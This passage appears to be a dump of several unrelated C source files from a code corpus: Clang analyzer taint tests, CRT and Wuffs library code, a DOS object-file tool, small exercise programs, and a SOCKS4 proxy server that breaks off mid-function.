sizeof(tainted)); // If we taint element 1, we should not raise an alert on taint for element 0 or element 2 read(sock, &tainted[1], sizeof(tainted)); __builtin_memcpy(dstbuf, srcbuf, tainted[0].length); // no-warning __builtin_memcpy(dstbuf, srcbuf, tainted[2].length); // no-warning } void testUnion() { union { int x; char y[4]; } tainted; char buffer[4]; int sock = socket(AF_INET, SOCK_STREAM, 0); read(sock, &tainted.y, sizeof(tainted.y)); // FIXME: overlapping regions aren't detected by isTainted yet __builtin_memcpy(buffer, tainted.y, tainted.x); } int testDivByZero() { int x; scanf("%d", &x); return 5/x; // expected-warning {{Division by a tainted value, possibly zero}} } // Zero-sized VLAs. void testTaintedVLASize() { int x; scanf("%d", &x); int vla[x]; // expected-warning{{Declared variable-length array (VLA) has tainted size}} } // This computation used to take a very long time. #define longcmp(a,b,c) { \ a -= c; a ^= c; c += b; b -= a; b ^= (a<<6) | (a >> (32-b)); a += c; c -= b; c ^= b; b += a; \ a -= c; a ^= c; c += b; b -= a; b ^= a; a += c; c -= b; c ^= b; b += a; } unsigned radar11369570_hanging(const unsigned char *arr, int l) { unsigned a, b, c; a = b = c = 0x9899e3 + l; while (l >= 6) { unsigned t; scanf("%d", &t); a += b; a ^= a; a += (arr[3] + ((unsigned) arr[2] << 8) + ((unsigned) arr[1] << 16) + ((unsigned) arr[0] << 24)); longcmp(a, t, c); l -= 12; } return 5/a; // expected-warning {{Division by a tainted value, possibly zero}} } // Check that we do not assert of the following code. int SymSymExprWithDiffTypes(void* p) { int i; scanf("%d", &i); int j = (i % (int)(long)p); return 5/j; // expected-warning {{Division by a tainted value, possibly zero}} } void constraintManagerShouldTreatAsOpaque(int rhs) { int i; scanf("%d", &i); // This comparison used to hit an assertion in the constraint manager, // which didn't handle NonLoc sym-sym comparisons. if (i < rhs) return; if (i < rhs) *(volatile int *) 0; // no-warning } // Test configuration int mySource1(); void mySource2(int*); void myScanf(const char*, ...); int myPropagator(int, int*); int mySnprintf(char*, size_t, const char*, ...); bool isOutOfRange(const int*); void mySink(int, int, int); void testConfigurationSources1() { int x = mySource1(); Buffer[x] = 1; // expected-warning {{Out of bound memory access }} } void testConfigurationSources2() { int x; mySource2(&x); Buffer[x] = 1; // expected-warning {{Out of bound memory access }} } void testConfigurationSources3() { int x, y; myScanf("%d %d", &x, &y); Buffer[y] = 1; // expected-warning {{Out of bound memory access }} } void testConfigurationPropagation() { int x = mySource1(); int y; myPropagator(x, &y); Buffer[y] = 1; // expected-warning {{Out of bound memory access }} } void testConfigurationFilter() { int x = mySource1(); if (isOutOfRange(&x)) // the filter function return; Buffer[x] = 1; // no-warning } void testConfigurationSinks() { int x = mySource1(); mySink(x, 1, 2); // expected-warning@-1 {{Untrusted data is passed to a user-defined sink}} mySink(1, x, 2); // no-warning mySink(1, 2, x); // expected-warning@-1 {{Untrusted data is passed to a user-defined sink}} }
the_stack_data/6450.c
/*** *ismbalnm - Test if character is alpha numeric (MBCS) * * Copyright (c) Microsoft Corporation. All rights reserved. * *Purpose: * Test if character is alpha numeric (MBCS) * *******************************************************************************/ #ifdef _MBCS #include <windows.h> #include <awint.h> #include <cruntime.h> #include <ctype.h> #include <mbdata.h> #include <mbctype.h> #include <mbstring.h> #include <locale.h> #include <mtdll.h> #include <setlocal.h> /*** * _ismbcalnum - Test if character is alpha numeric (MBCS) * *Purpose: * Test if the supplied character is alpha numeric or not. * Handles MBCS characters correctly. * * Note: Use test against 0x00FF instead of _ISLEADBYTE * to ensure that we don't call SBCS routine with a two-byte * value. * *Entry: * unsigned int c = character to test * *Exit: * Returns TRUE if c is an alpha numeric character; else FALSE * *Exceptions: * *******************************************************************************/ extern "C" int __cdecl _ismbcalnum_l( unsigned int c, _locale_t plocinfo ) { _LocaleUpdate _loc_update(plocinfo); if (c > 0x00FF) { char buf[2]; unsigned short ctype[2] = {0}; buf[0] = (c >> 8) & 0xFF; buf[1] = c & 0xFF; /* return FALSE if not in supported MB code page */ if (_loc_update.GetLocaleT()->mbcinfo->ismbcodepage == 0) return 0; /* * Since 'c' could be two one-byte MB chars, we need room in the * ctype return array to handle this. In this case, the * second word in the return array will be non-zero. */ if ( __crtGetStringTypeA( NULL, CT_CTYPE1, buf, 2, ctype, _loc_update.GetLocaleT()->mbcinfo->mbcodepage, _loc_update.GetLocaleT()->mbcinfo->mblcid, TRUE ) == 0 ) return 0; /* ensure single MB character and test for type */ return (ctype[1] == 0 && ctype[0] & (_ALPHA|_DIGIT)); } else { return _ismbbalnum_l( c, _loc_update.GetLocaleT()); } } extern "C" int (__cdecl _ismbcalnum)( unsigned int c ) { return _ismbcalnum_l(c, NULL); } #endif /* _MBCS */
the_stack_data/79211.c
/* ** makeobj.c ** **--------------------------------------------------------------------------- ** Copyright 2014 Braden Obrzut ** All rights reserved. ** ** Redistribution and use in source and binary forms, with or without ** modification, are permitted provided that the following conditions ** are met: ** ** 1. Redistributions of source code must retain the above copyright ** notice, this list of conditions and the following disclaimer. ** 2. Redistributions in binary form must reproduce the above copyright ** notice, this list of conditions and the following disclaimer in the ** documentation and/or other materials provided with the distribution. ** 3. The name of the author may not be used to endorse or promote products ** derived from this software without specific prior written permission. ** ** THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR ** IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES ** OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. ** IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, ** INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT ** NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, ** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY ** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT ** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF ** THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. **--------------------------------------------------------------------------- ** ** This is a throwaway program to create OMF object files for DOS. It also ** extracts the object files. It should be compatible with MakeOBJ by John ** Romero except where we calculate the checksum correctly. ** */ #include <stdio.h> #include <malloc.h> #include <string.h> #include <ctype.h> #include <stdlib.h> #pragma pack(1) typedef struct { unsigned char type; unsigned short len; } SegHeader; typedef struct { unsigned short len; unsigned char name; unsigned char classname; unsigned char overlayname; } SegDef; #pragma pack() const char* ReadFile(const char* fn, int *size) { char* out; FILE* f = fopen(fn, "rb"); fseek(f, 0, SEEK_END); *size = ftell(f); out = (char*)malloc(*size); fseek(f, 0, SEEK_SET); fread(out, *size, 1, f); fclose(f); return out; } void WriteFile(const char* fn, const char *data, int size) { FILE* f = fopen(fn, "wb"); fwrite(data, size, 1, f); fclose(f); } void Extract(const char* infn) { const char* in; const char* start; const char* p; char outfn[16]; char str[256]; char *outdata; int outsize; int insize; SegHeader head; outdata = NULL; start = in = ReadFile(infn, &insize); while(in < start + insize) { head = *(SegHeader*)in; switch(head.type) { case 0x80: /* THEADR */ memcpy(outfn, in+4, in[3]); outfn[in[3]] = 0; printf("Output: %s\n", outfn); { int i; for(i = 0;i < 16;++i) { if(outfn[i] == ' ') outfn[i] = 0; } } break; case 0x88: /* COMENT */ switch(in[3]) { case 0: memcpy(str, in+5, head.len-2); str[head.len-3] = 0; printf("Comment: %s\n", str); break; default: printf("Unknown comment type %X @ %x ignored.\n", (unsigned char)in[3], (unsigned int)(in - start)); break; } break; case 0x96: /* LNAMES */ p = in+3; while(p < in+head.len+2) { memcpy(str, p+1, (unsigned char)*p); str[(unsigned char)*p] = 0; printf("Name: %s\n", str); p += (unsigned char)*p+1; } break; case 0x98: /* SEGDEF */ { SegDef *sd; sd = *(in+3) ? (SegDef*)(in+4) : (SegDef*)(in+7); printf("Segment Length: %d\n", sd->len); outdata = (char*)malloc(sd->len); outsize = sd->len; break; } case 0x90: /* PUBDEF */ p = in+5; if(in[5] == 0) p += 2; while(p < in+head.len+2) { memcpy(str, p+1, (unsigned char)*p); str[(unsigned char)*p] = 0; printf("Public Name: %s\n", str); p += (unsigned char)*p+4; } break; case 0xA0: /* LEDATA */ printf("Writing data at %d (%d)\n", *(unsigned short*)(in+4), head.len-4); memcpy(outdata+*(unsigned short*)(in+4), in+6, head.len-4); break; case 0x8A: /* MODEND */ /* Ignore */ break; default: printf("Unknown header type %X @ %x ignored.\n", head.type, (unsigned int)(in - start)); break; } in += 3 + head.len; } WriteFile(outfn, outdata, outsize); free((char*)start); free(outdata); } void CheckSum(char *s, unsigned short len) { int sum; len += 3; sum = 0; while(len > 1) { sum += *(unsigned char*)s; ++s; --len; } *s = (unsigned char)(0x100-(sum&0xFF)); } void MakeDataObj(const char* infn, const char* outfn, const char* segname, const char* symname, int altmode) { #define Flush() fwrite(d.buf, d.head.len+3, 1, f) union { char buf[4096]; SegHeader head; } d; int i; FILE *f; int insize; const char *in; const char *infn_stripped = strrchr(infn, '/'); if(strrchr(infn, '\\') > infn_stripped) infn_stripped = strrchr(infn, '\\'); if(infn_stripped == NULL) infn_stripped = infn; else ++infn_stripped; f = fopen(outfn, "wb"); in = ReadFile(infn, &insize); d.head.type = 0x80; d.head.len = 14; d.buf[3] = 12; if(d.buf[3] > 12) d.buf[3] = 12; sprintf(&d.buf[4], "%-12s", infn_stripped); for(i = 0;i < strlen(infn_stripped) && i < 12;++i) d.buf[4+i] = toupper(d.buf[4+i]); /* CheckSum(d.buf, d.head.len); */ d.buf[17] = 0; /* For some reason this one isn't checksummed by MakeOBJ */ Flush(); d.head.type = 0x88; d.head.len = 15; d.buf[3] = 0; d.buf[4] = 0; /* We're not really MakeOBJ v1.1, but to allow us to verify with md5sums */ memcpy(&d.buf[5], "MakeOBJ v1.1", 12); CheckSum(d.buf, d.head.len); Flush(); d.head.type = 0x96; d.head.len = strlen(infn_stripped)+40; d.buf[3] = 6; memcpy(&d.buf[4], "DGROUP", 6); d.buf[10] = 5; memcpy(&d.buf[11], "_DATA", 5); d.buf[16] = 4; memcpy(&d.buf[17], "DATA", 4); d.buf[21] = 0; d.buf[22] = 5; memcpy(&d.buf[23], "_TEXT", 5); d.buf[28] = 4; memcpy(&d.buf[29], "CODE", 4); d.buf[33] = 8; memcpy(&d.buf[34], "FAR_DATA", 8); if(!segname) { if(!altmode) { d.buf[42] = strlen(infn_stripped)-1; for(i = 0;i < strlen(infn_stripped)-4;++i) { if(i == 0) d.buf[43] = toupper(infn_stripped[0]); else d.buf[43+i] = tolower(infn_stripped[i]); } memcpy(&d.buf[43+i], "Seg", 3); } else { d.head.len = 40; } } else { d.head.len = strlen(segname)+41; d.buf[42] = strlen(segname); strcpy(&d.buf[43], segname); } CheckSum(d.buf, d.head.len); Flush(); d.head.type = 0x98; d.head.len = 7; *(unsigned short*)(d.buf+4) = insize; if(altmode == 0) { d.buf[3] = (char)((unsigned char)0x60); d.buf[6] = 8; d.buf[7] = 7; d.buf[8] = 4; } else { d.buf[3] = (char)((unsigned char)0x48); d.buf[6] = 2; d.buf[7] = 3; d.buf[8] = 4; } CheckSum(d.buf, d.head.len); Flush(); if(altmode) { d.head.type = 0x9A; d.head.len = 4; d.buf[3] = 1; d.buf[4] = (char)((unsigned char)0xFF); d.buf[5] = 1; CheckSum(d.buf, d.head.len); Flush(); } d.head.type = 0x90; d.head.len = strlen(infn_stripped)+4; d.buf[3] = 1; d.buf[4] = 1; if(!symname) { d.buf[5] = strlen(infn_stripped)-3; d.buf[6] = '_'; for(i = 0;i < strlen(infn_stripped)-4;++i) d.buf[7+i] = tolower(infn_stripped[i]); } else { d.head.len = strlen(symname)+7; d.buf[5] = strlen(symname); strcpy(&d.buf[6], symname); i = strlen(symname)-1; } d.buf[7+i] = 0; d.buf[8+i] = 0; d.buf[9+i] = 0; /* This checksum is calculated wrong in MakeOBJ, although I don't know in what way. */ CheckSum(d.buf, d.head.len); Flush(); #define LEDATA_LEN 1024 for(i = 0;i < insize;i += LEDATA_LEN) { d.head.type = 0xA0; d.head.len = insize - i > LEDATA_LEN ? LEDATA_LEN+4 : insize - i + 4; d.buf[3] = 1; *(unsigned short*)(d.buf+4) = i; memcpy(&d.buf[6], &in[i], d.head.len-4); CheckSum(d.buf, d.head.len); Flush(); } d.head.type = 0x8A; d.head.len = 2; d.buf[3] = 0; d.buf[4] = 0; CheckSum(d.buf, d.head.len); Flush(); fclose(f); free((char*)in); } void DumpData(const char* infn, const char* outfn, int skip) { FILE *f; int i; int insize; char symname[9]; const char *in; const char *infn_stripped = strrchr(infn, '/'); if(strrchr(infn, '\\') > infn_stripped) infn_stripped = strrchr(infn, '\\'); if(infn_stripped == NULL) infn_stripped = infn; else ++infn_stripped; f = fopen(outfn, "wb"); memset(symname, 0, 9); memcpy(symname, infn_stripped, strlen(infn_stripped)-4); fprintf(f, "char far %s[] ={\r\n", symname); in = ReadFile(infn, &insize); for(i = skip;i < insize;++i) { fprintf(f, "%d", (unsigned char)in[i]); if(i != insize-1) fprintf(f, ",\r\n"); } fprintf(f, " };\r\n"); fclose(f); free((char*)in); } int main(int argc, char* argv[]) { if(argc < 3) { printf("Converts file to OMF.\nUseage:\n ./makeobj [fx] <input> ...\n"); return 0; } switch(argv[1][0]) { case 'c': if(argc < 4) { printf("Need an output location. (Extra parms: <output> [<symbol>])\n"); return 0; } else { const char *symname = NULL; if(argc >= 5) symname = argv[4]; MakeDataObj(argv[2], argv[3], NULL, symname, 1); } break; default: case 'f': if(argc < 4) { printf("Need an output location. (Extra parms: <output> [<segname> <symbol>])\n"); return 0; } else { const char *segname = NULL, *symname = NULL; if(argc >= 6) { segname = argv[4]; symname = argv[5]; } MakeDataObj(argv[2], argv[3], segname, symname, 0); } break; case 'x': Extract(argv[2]); break; case 's': if(argc < 4) { printf("Need an output location. (Extra parms: <output> [<skip>])\n"); return 0; } else { int skip = 0; if(argc >= 5) { skip = atoi(argv[4]); } DumpData(argv[2], argv[3], skip); } break; break; } return 0; }
the_stack_data/243892063.c
#include <stdio.h> #include <string.h> char a[100000],b[100000]; int main() { char sign; long long int n,d1,i,j,len,rem,div; while(scanf("%s %c %lld",a,&sign,&n)==3) { len = strlen(a); d1 = 0; div = 0; rem = 0; if(sign == '%') { for(i=0; i<len; i++) { d1 = (d1*10+a[i]-'0')%n; } printf("%lld\n", d1); } else { for(i=0; i<len; i++) { rem = (rem * 10 + a[i] - '0')%n; div = (div * 10 + a[i] - '0')/n; b[i] = div+'0'; div = rem; } for(i=0; i<len; i++) { if(b[i]!='0') break; } j = i; if(j==len) printf("0"); else for(i=j; i<len; i++) { printf("%c",b[i]); } printf("\n"); } memset(b,'\0',sizeof(b)); } return 0; }
the_stack_data/72011504.c
#include <stdio.h> #include <fcntl.h> #include <string.h> #include <unistd.h> static char old[] = "old-name.out"; static char new[] = "new-name.out"; static char str[] = "Hello, World!"; int str_len = 13; int main() { char buf[14]; buf[13] = 0x00; int fd = creat(old, 0777); write(fd, str, str_len); close(fd); rename(old, new); fd = open(new, O_RDONLY); read(fd, buf, str_len); close(fd); remove(new); if (strcmp(str, buf) == 0) { return 0; } else { return -1; } }
the_stack_data/78199.c
#include <stdio.h> #include <stdlib.h> #define LENGTH 15 void showEven(int arr[]) { printf(" Evens: "); for (int i = 0; i < LENGTH; i+=2) { printf(" %d,", arr[i]); } printf("\n"); } void showOdd(int arr[]) { printf(" Odds: "); for (int i = 1; i < LENGTH; i+=2) { printf(" %d,", arr[i]); } printf("\n"); } int main() { int arr[LENGTH]; for (int i = 0; i < LENGTH; i++) { if (i == (LENGTH - 1)) printf(" - Type the last value: "); else printf(" - Type the %do value: ", i+1); scanf(" %d", &arr[i]); } showEven(arr); showOdd(arr); return 0; }
the_stack_data/99757.c
// After editing this file, run "go generate" in the ../data directory. // Copyright 2017 The Wuffs Authors. // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // https://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an "AS IS" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. #ifndef WUFFS_INCLUDE_GUARD__BASE #define WUFFS_INCLUDE_GUARD__BASE #if defined(WUFFS_IMPLEMENTATION) && !defined(WUFFS_CONFIG__MODULES) #define WUFFS_CONFIG__MODULES #define WUFFS_CONFIG__MODULE__BASE #endif // ¡ WUFFS MONOLITHIC RELEASE DISCARDS EVERYTHING ABOVE. // ¡ INSERT base/copyright #include <stdbool.h> #include <stdint.h> #include <stdlib.h> #include <string.h> // Note that Clang also defines __GNUC__. #ifdef __cplusplus #if (__cplusplus >= 201103L) || defined(_MSC_VER) #include <memory> #define WUFFS_BASE__HAVE_EQ_DELETE #define WUFFS_BASE__HAVE_UNIQUE_PTR #elif defined(__GNUC__) #warning "Wuffs' C++ code expects -std=c++11 or later" #endif extern "C" { #endif // ¡ INSERT base/all-public.h. // ¡ INSERT InterfaceDeclarations. // ---------------- #ifdef __cplusplus } // extern "C" #endif // ‼ WUFFS C HEADER ENDS HERE. #ifdef WUFFS_IMPLEMENTATION #ifdef __cplusplus extern "C" { #endif // ¡ INSERT base/all-private.h. // ---------------- #if !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__BASE) || \ defined(WUFFS_CONFIG__MODULE__BASE__CORE) const uint8_t wuffs_base__low_bits_mask__u8[8] = { 0x00, 0x01, 0x03, 0x07, 0x0F, 0x1F, 0x3F, 0x7F, }; const uint16_t wuffs_base__low_bits_mask__u16[16] = { 0x0000, 0x0001, 0x0003, 0x0007, 0x000F, 0x001F, 0x003F, 0x007F, 0x00FF, 0x01FF, 0x03FF, 0x07FF, 0x0FFF, 0x1FFF, 0x3FFF, 0x7FFF, }; const uint32_t wuffs_base__low_bits_mask__u32[32] = { 0x00000000, 0x00000001, 0x00000003, 0x00000007, 0x0000000F, 0x0000001F, 0x0000003F, 0x0000007F, 0x000000FF, 0x000001FF, 0x000003FF, 0x000007FF, 0x00000FFF, 0x00001FFF, 0x00003FFF, 0x00007FFF, 0x0000FFFF, 0x0001FFFF, 0x0003FFFF, 0x0007FFFF, 0x000FFFFF, 0x001FFFFF, 0x003FFFFF, 0x007FFFFF, 0x00FFFFFF, 0x01FFFFFF, 0x03FFFFFF, 0x07FFFFFF, 0x0FFFFFFF, 0x1FFFFFFF, 0x3FFFFFFF, 0x7FFFFFFF, }; const uint64_t wuffs_base__low_bits_mask__u64[64] = { 0x0000000000000000, 0x0000000000000001, 0x0000000000000003, 0x0000000000000007, 0x000000000000000F, 0x000000000000001F, 0x000000000000003F, 0x000000000000007F, 0x00000000000000FF, 0x00000000000001FF, 0x00000000000003FF, 0x00000000000007FF, 0x0000000000000FFF, 0x0000000000001FFF, 0x0000000000003FFF, 0x0000000000007FFF, 0x000000000000FFFF, 0x000000000001FFFF, 0x000000000003FFFF, 0x000000000007FFFF, 0x00000000000FFFFF, 0x00000000001FFFFF, 0x00000000003FFFFF, 0x00000000007FFFFF, 0x0000000000FFFFFF, 0x0000000001FFFFFF, 0x0000000003FFFFFF, 0x0000000007FFFFFF, 0x000000000FFFFFFF, 0x000000001FFFFFFF, 0x000000003FFFFFFF, 0x000000007FFFFFFF, 0x00000000FFFFFFFF, 0x00000001FFFFFFFF, 0x00000003FFFFFFFF, 0x00000007FFFFFFFF, 0x0000000FFFFFFFFF, 0x0000001FFFFFFFFF, 0x0000003FFFFFFFFF, 0x0000007FFFFFFFFF, 0x000000FFFFFFFFFF, 0x000001FFFFFFFFFF, 0x000003FFFFFFFFFF, 0x000007FFFFFFFFFF, 0x00000FFFFFFFFFFF, 0x00001FFFFFFFFFFF, 0x00003FFFFFFFFFFF, 0x00007FFFFFFFFFFF, 0x0000FFFFFFFFFFFF, 0x0001FFFFFFFFFFFF, 0x0003FFFFFFFFFFFF, 0x0007FFFFFFFFFFFF, 0x000FFFFFFFFFFFFF, 0x001FFFFFFFFFFFFF, 0x003FFFFFFFFFFFFF, 0x007FFFFFFFFFFFFF, 0x00FFFFFFFFFFFFFF, 0x01FFFFFFFFFFFFFF, 0x03FFFFFFFFFFFFFF, 0x07FFFFFFFFFFFFFF, 0x0FFFFFFFFFFFFFFF, 0x1FFFFFFFFFFFFFFF, 0x3FFFFFFFFFFFFFFF, 0x7FFFFFFFFFFFFFFF, }; const uint32_t wuffs_base__pixel_format__bits_per_channel[16] = { 0x00, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, 0x08, 0x0A, 0x0C, 0x10, 0x18, 0x20, 0x30, 0x40, }; // ¡ INSERT wuffs_base__status strings. // ¡ INSERT vtable names. #endif // !defined(WUFFS_CONFIG__MODULES) || // defined(WUFFS_CONFIG__MODULE__BASE) || // defined(WUFFS_CONFIG__MODULE__BASE__CORE) #if !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__BASE) || \ defined(WUFFS_CONFIG__MODULE__BASE__INTERFACES) // ¡ INSERT InterfaceDefinitions. #endif // !defined(WUFFS_CONFIG__MODULES) || // defined(WUFFS_CONFIG__MODULE__BASE) || // defined(WUFFS_CONFIG__MODULE__BASE__INTERFACES) #if !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__BASE) || \ defined(WUFFS_CONFIG__MODULE__BASE__FLOATCONV) // ¡ INSERT base/floatconv-submodule.c. #endif // !defined(WUFFS_CONFIG__MODULES) || // defined(WUFFS_CONFIG__MODULE__BASE) || // defined(WUFFS_CONFIG__MODULE__BASE__FLOATCONV) #if !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__BASE) || \ defined(WUFFS_CONFIG__MODULE__BASE__INTCONV) // ¡ INSERT base/intconv-submodule.c. #endif // !defined(WUFFS_CONFIG__MODULES) || // defined(WUFFS_CONFIG__MODULE__BASE) || // defined(WUFFS_CONFIG__MODULE__BASE__INTCONV) #if !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__BASE) || \ defined(WUFFS_CONFIG__MODULE__BASE__MAGIC) // ¡ INSERT base/magic-submodule.c. #endif // !defined(WUFFS_CONFIG__MODULES) || // defined(WUFFS_CONFIG__MODULE__BASE) || // defined(WUFFS_CONFIG__MODULE__BASE__MAGIC) #if !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__BASE) || \ defined(WUFFS_CONFIG__MODULE__BASE__PIXCONV) // ¡ INSERT base/pixconv-submodule.c. #endif // !defined(WUFFS_CONFIG__MODULES) || // defined(WUFFS_CONFIG__MODULE__BASE) || // defined(WUFFS_CONFIG__MODULE__BASE__PIXCONV) #if !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__BASE) || \ defined(WUFFS_CONFIG__MODULE__BASE__UTF8) // ¡ INSERT base/utf8-submodule.c. #endif // !defined(WUFFS_CONFIG__MODULES) || // defined(WUFFS_CONFIG__MODULE__BASE) || // defined(WUFFS_CONFIG__MODULE__BASE__UTF8) #ifdef __cplusplus } // extern "C" #endif #endif // WUFFS_IMPLEMENTATION // ¡ WUFFS MONOLITHIC RELEASE DISCARDS EVERYTHING BELOW. #endif // WUFFS_INCLUDE_GUARD__BASE
the_stack_data/11853.c
#define SERV_TCP_PORT 5678 #define REQSIZE 20 #define MAXSIZE 1000 #define DEBUG 0 #include<stdio.h> #include<string.h> #include<stdlib.h> #include<unistd.h> #include<arpa/inet.h> #include<sys/wait.h> #include<sys/types.h> #include<sys/stat.h> #include<sys/ipc.h> #include<sys/shm.h> #include<fcntl.h> #include<signal.h> #include<errno.h> #include<netdb.h> #include<sys/socket.h> #include <netinet/in.h> int passiveTCP(int port, int qlen){ int sockfd; struct sockaddr_in serv_addr; /* *Open a TCP socket(an Internet stream socket). */ if((sockfd = socket(AF_INET, SOCK_STREAM, 0)) < 0){ perror("server:can't open stream socket"); exit(1); } memset((char*)&serv_addr, 0, sizeof(serv_addr)); //bzero((char* )&serv_addr, sizeof(serv_addr)); serv_addr.sin_family = AF_INET; serv_addr.sin_addr.s_addr = htonl(INADDR_ANY); serv_addr.sin_port = htons(SERV_TCP_PORT); if(bind(sockfd, (struct sockaddr *)&serv_addr, sizeof(serv_addr)) < 0){ perror("server:can't bind local address"); exit(1); } listen(sockfd, qlen); return sockfd; } //blocking int connectTCP(char *addr, int port){ int sockfd; struct sockaddr_in serv_addr; struct hostent *he; he = gethostbyname(addr); /* *Open a TCP socket(an Internet stream socket). */ memset((char*)&serv_addr, 0, sizeof(serv_addr)); //bzero((char* )&serv_addr, sizeof(serv_addr)); serv_addr.sin_family = AF_INET; serv_addr.sin_addr = *(struct in_addr *)(he -> h_addr); serv_addr.sin_port = htons((short)port); if((sockfd = socket(AF_INET, SOCK_STREAM, 0)) < 0){ perror("can't open stream socket"); exit(1); } //int flags; //get mode of sockfd before //flags = fcntl(sockfd, F_GETFL, 0); //set sockfd as non blocking and the mode before //fcntl(sockfd, F_SETFL, flags | O_NONBLOCK); if(connect(sockfd, (struct sockaddr *)&serv_addr, sizeof(serv_addr)) < 0){ //if (errno != EINPROGRESS){ perror("can't connect sock"); exit(-1); //} } return sockfd; } int analyze_conf(unsigned int DST_IP, unsigned int mode){ //permit [cb] xxx.xxx.xxx.xxx //(connect mode or bind mode) //accept * in xxx char buffer[MAXSIZE]; char ip[4][4]; memset(ip, 0, sizeof(ip)); FILE *fp = fopen("socks.conf", "r"); if(fp == NULL){ perror("can't read conf file"); exit(1); } int i, j = 0; unsigned int t_IP; int len; char m = (mode == 1) ? 'c' : 'b';//1:connect , 2:bind while(fgets(buffer, MAXSIZE, fp) != NULL) { j = 0; t_IP = 0; if(buffer[7] != m) continue; for(i = 9 ; i < strlen(buffer) && j < 4; i++){ if(buffer[i] == '.'){ j++; continue; } if(strlen(ip[j]) >= 3){ perror("conf file not follow format"); exit(1); } if(buffer[i] == '#') break; //like strcat len = strlen(ip[j]); ip[j][len] = buffer[i]; ip[j][len + 1] = 0; } for(i = 0 ; i < 4 ; i++){ //bitwise or if(strncmp(ip[i], "*", 1) == 0){ t_IP |= ((unsigned int)0xFF) << (8 * (3 - i)); }else{ t_IP |= ((unsigned int)atoi(ip[i])) << (8 * (3 - i)); } } //bitwise and if((DST_IP & t_IP) == DST_IP) return 1; } return 0; } void sock4_reply(int sockfd, unsigned int ip, unsigned int port, unsigned cd, int code){ unsigned char package[8]; package[0] = 0; package[1] = code;//90:granted, 91:reject or fail package[2] = port / 256; package[3] = port % 256; package[4] = (cd == 1) ? (ip >> 24) : 0; package[5] = (cd == 1) ? (ip >> 16) & 0xFF : 0; package[6] = (cd == 1) ? (ip >> 8 ) & 0xFF : 0; package[7] = (cd == 1) ? (ip ) & 0xFF : 0; int wc = 0; while(wc < 8) { wc = write(sockfd, package, 8); if(wc < 0){ perror("write error"); exit(1); } } } int passive_bind_TCP(int qlen){ int bindfd; struct sockaddr_in bind_addr; /* *Open a TCP socket(an Internet stream socket). */ if((bindfd = socket(AF_INET, SOCK_STREAM, 0)) < 0){ perror("server:can't open stream socket"); exit(1); } memset((char*)&bind_addr, 0, sizeof(bind_addr)); bind_addr.sin_family = AF_INET; bind_addr.sin_addr.s_addr = htonl(INADDR_ANY); bind_addr.sin_port = htons(INADDR_ANY); //the only difference!! ^^^^^^^^^^ if(bind(bindfd, (struct sockaddr *)&bind_addr, sizeof(bind_addr)) < 0){ perror("server:can't bind local address"); exit(1); } listen(bindfd, qlen); return bindfd; } int send_data(int sfd, int dfd, int count, fd_set *rs){//source fd, destination fd int rc = 0, wc = 0; char buff[MAXSIZE]; rc = read(sfd, buff, MAXSIZE); if(rc < 0){ perror("read error"); exit(1); }else if(rc == 0){//finish //if one side close connection, exit FD_CLR(sfd, rs); count--; exit(0); }else{ if(DEBUG != 0){ printf("receive data=\n"); fflush(stdout); wc = write(1, buff, rc); } wc = write(dfd, buff, rc); if(wc < 0){ perror("write error"); exit(1); } } return count; } void transfer_data(int msockfd, int ftp_fd){ fd_set rfds; /* readable file descriptors*/ fd_set rs; /* active file descriptors*/ int nfds = FD_SETSIZE; FD_ZERO(&rfds); FD_ZERO(&rs); FD_SET(msockfd, &rs); FD_SET(ftp_fd, &rs); int count = 2; struct timeval tv; //protocol set time limit to 2 minute tv.tv_sec = 120;//second tv.tv_usec = 0;//microsecond //while(count > 0) while(1) { memcpy(&rfds, &rs, sizeof(rfds)); if (select(nfds, &rfds, (fd_set*)0, (fd_set*)0, &tv) < 0 ){ perror("select error"); exit(1); } if(FD_ISSET(msockfd, &rfds)){ if(DEBUG != 0){ printf("send_data_form_m\n"); } //count = send_data(msockfd, ftp_fd, count, &rs); //if one side close connection, exit send_data(msockfd, ftp_fd, count, &rs); } if(FD_ISSET(ftp_fd, &rfds)){ if(DEBUG != 0){ printf("send_data_form_f\n"); } //count = send_data(ftp_fd, msockfd, count, &rs); //if one side close connection, exit send_data(ftp_fd, msockfd, count, &rs); } if(DEBUG != 0){ printf("count=%d\n", count); fflush(stdout); } } if(DEBUG != 0){ printf("count is zero\n"); } } void process_bind(int msockfd){ int bindfd = passive_bind_TCP(5); struct sockaddr_in bindaddr; socklen_t blen = sizeof(bindaddr); //get self information if(getsockname(bindfd, (struct sockaddr *)&bindaddr, &blen) < 0){ perror("getsockname error"); exit(1); } //reply port, it'll connect itself sock4_reply(msockfd, 0, ntohs(bindaddr.sin_port), 2, 90); int ftp_fd; struct sockaddr_in ftp_addr; socklen_t ftplen = sizeof(ftp_addr); if((ftp_fd = 